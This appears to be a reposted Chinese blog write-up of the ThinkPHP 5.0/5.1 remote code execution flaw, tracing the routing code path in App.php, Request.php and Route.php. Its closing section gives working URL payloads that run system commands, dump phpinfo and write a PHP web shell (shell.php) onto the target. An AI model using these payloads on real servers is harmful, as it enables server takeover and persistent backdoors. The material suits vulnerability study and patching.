1. 程式人生 > >ThinkPHP遠端命令執行漏洞原理及復現

ThinkPHP遠端命令執行漏洞原理及復現

2018年12月11日,exploit-db更新了一個thinkphp框架遠端程式碼執行漏洞
exploit地址:https://www.exploit-db.com/exploits/45978
由於框架對控制器名沒有進行足夠的檢測導致在沒有開啟強制路由的情況下getshell
漏洞影響範圍
Thinkphp 5.1.0 - 5.1.31
Thinkphp 5.0.5 - 5.0.23
安裝
下載地址http://www.thinkphp.cn/donate/download/id/1125.html
下載完解壓在/var/www/html/目錄下即可
ThinkPHP遠端命令執行漏洞原理及復現
漏洞分析
/thinkphp/library/think/App.php 行數:120
ThinkPHP遠端命令執行漏洞原理及復現
我們可以看到通過self::routerCheck函式進行路由檢測
ThinkPHP遠端命令執行漏洞原理及復現


我們可以看到又進入$request->path()函式
/thinkphp/library/think/Request.php 行數:416行
ThinkPHP遠端命令執行漏洞原理及復現
進入pathinfo()函式,繼續追蹤到384行
ThinkPHP遠端命令執行漏洞原理及復現
Config::get('var_pathinfo')是配置檔案中的設定的引數,預設值為s,從GET中獲取鍵值,然後賦值給routeCheck中的$path
我們再回到App.php 行數:606
ThinkPHP遠端命令執行漏洞原理及復現
這裡會進行路由檢測,檢查$check後會進入else分支匯入路由配置,接著檢測路由url排程結果為$result,如果排程失敗且開啟了強制路由$must,則報出路由無效,接著進入Route::parseUrl函式,根據$path(自定義url)解析操作
開始跟蹤parseUrl函式
/thinkphp/library/think/Route.php 行數:1208
ThinkPHP遠端命令執行漏洞原理及復現

進入parseUrlPath函式 行數:1275
ThinkPHP遠端命令執行漏洞原理及復現
這裡我們可以看到對模組/控制器/操作的url地址分割成陣列來返回(沒截好圖有點重了)行數:1217
ThinkPHP遠端命令執行漏洞原理及復現
ThinkPHP遠端命令執行漏洞原理及復現
我們可以看到,返回的結果賦值為$path,提取路由資訊又封裝到$route,最後返回
thinkphp/library/think/App.php 行數:120
ThinkPHP遠端命令執行漏洞原理及復現
進入self::exec函式 行數:445
ThinkPHP遠端命令執行漏洞原理及復現
我們可以看到模組/控制器/操作 的函式為self::module
開始跟蹤module函式 行數:494
ThinkPHP遠端命令執行漏洞原理及復現
ThinkPHP遠端命令執行漏洞原理及復現

我們可以看到,根據$config['app_multi_module']進入多模組部署,$bind為NULL,又進入elseif分支,判斷模組是否在禁止的列表裡面$config['deny_module_list'],而且mmodule存在,$available = true,就不會丟擲異常
module函式最後的返回值,發現$controller沒有進行過濾,那麼此時應該為think\app,也就是return self::invokeMethod($call, $vars);
ThinkPHP遠端命令執行漏洞原理及復現


進入self::invokeMethod函式 行數:329
ThinkPHP遠端命令執行漏洞原理及復現

此時穿進去的$call也就是$method,是一個數組,第一個元素是一個think\App物件,第二個元素則是呼叫方法名稱的字串invokefunction,然後通過反射ReflectionMethod獲取這個物件下對應的方法
再通過函式$args = self::bindParams($reflect, $vars);獲取傳入的引數,也就是payload

最後再呼叫反射$reflect->invokeArgs($args);,將Payload陣列傳入反射物件函式invokeFunction,完成程式碼執行。
ThinkPHP遠端命令執行漏洞原理及復現
至此,ThinkPHP遠端程式碼執行漏洞分析完成
————————————————————————————————————————
漏洞利用
http://xxx.xxx.xxx(這裡為你的域名)/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
遠端程式碼執行命令:whoami(連結後面的whoami可以改成你要執行的命令,特殊符號請進行url轉碼)
http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
通過phpinfo函式寫出phpinfo的資訊
ThinkPHP遠端命令執行漏洞原理及復現

http://xxx.xxx.xxx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%[email protected]($_GET[%22snowwolf%22])?^%3E%3Eshell.php
寫入shell
http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
也是顯示phpinfo